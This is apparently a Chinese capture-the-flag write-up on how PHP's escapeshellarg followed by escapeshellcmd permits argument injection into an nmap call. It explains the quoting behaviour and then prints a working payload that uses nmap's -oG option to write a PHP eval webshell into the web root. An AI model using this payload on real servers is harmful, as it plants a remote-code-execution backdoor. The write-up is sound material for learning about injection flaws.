1 知识点
escapeshellarg与escapshellcmd两个函数都是php来转义非法字符的,不过由于他们两个的转义规则有所不同,当先使用escapeshellarg再使用escapshellcmd时,就可能导致命令参数注入,这是为什么呢?
1.1 escapeshellarg
- 把字符串转码为可以在shell命令里使用的参数
可以看见它把单引号都转义了。
1.2 escapeshellcmd
- 对字符串中可能会欺骗shell命令执行任意命令的字符进行转义
可以发现escapeshellarg
和escapeshellcmd
不同之处在于,前者会将单引号转义,而后者仅仅会对落单了的单引号进行转义,也就是说在后者中出现成对存在的单引号时,它不会被转义,然而后者会对一些特殊字符进行转义,如:
如:
1.3 bash脚本中的引号
可以在linux上测试一下:
发现使用echo语句打印'i a'''m fi''''''ne'
,如果不加外面的单引号,会出现换行,打印i a\'m fi''ne
则不需要在两边额外加上单引号,为什么?
- 单引号
单引号两个单引号包围起来的字符串就是普通的字符串,他将保留原始的字面意思
- 双引号
两个双引号包围起来的字符串,部分特殊字符将起到它们的作用。这些特殊符号有美元符$, 反斜杠\, 反引号, 感叹号!. 反引号`
- 反引号
两个反引号包围起来的字符串,将作为命令来运行,执行的输出结果作为该反引号的内容,称为命令替换
2.解题
那么对本题来说,会将我们传入的host参数的值拼接进nmap -T5 -sT -Pn --host-timeout 2 -F
语句中,并且通过system函数执行。
因为escapshellcmd的限制,我们无法使用命令后注入操作来执行我们想要执行的东西,所以我们只能利用nmap提供的一些参数来操作
gmap参数:https://blog.csdn.net/qq_26090065/article/details/80285088
结合上面,我们需要构造一个类似于下面的payload:
<?php @eval($_POST["hhhm"]); ?> -oG hhhm.php
得到如下
'<?php @eval($_POST["hhhm"]); ?> -oG hhhm.php'
这两边的双引号会截断我们的命令,使得无法执行,为什么?大概示例如下:
我们输入一个单引号时,会被解析如下:
最后一个''\''aaa'\'''
简化之后变为aaa\
,那么''\''<?php phpinfo(); ?>'\'''
则会变成<?php phpinfo(); ?>\
那么我们再在这引号前加上空格之后变为''\''<?php phpinfo(); ?> '\'''
简化后变为<?php phpinfo(); ?> \
payload
由此构造payload
'<?php @eval($_POST["hhhm"]); ?> -oG hhhm.php '
转换为
''\''<?php @eval($_POST["hhhm"]); ?> -oG hhhm.php '\'''
输出为:
<?php @eval($_POST[hhhm]); ?> -oG hhhm.php \
按提示的沙盒位置找到我们的一句话木马,用ant即可连接。
可以发现写入文件内容如下:
- # Nmap 7.70 scan initiated Thu Oct 31 15:38:21 2019 as: nmap -T5 -sT -Pn —host-timeout 2 -F -oG hhhm.php <?php @eval($_POST[hhhm]); ?> \
- # Nmap done at Thu Oct 31 15:38:41 2019 — 0 IP addresses (0 hosts up) scanned in 20.34 seconds
在根目录下可以找到我们flag